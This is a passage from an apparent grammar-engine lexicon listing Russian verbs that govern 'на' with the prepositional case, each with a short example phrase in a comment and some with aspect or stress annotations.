rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, 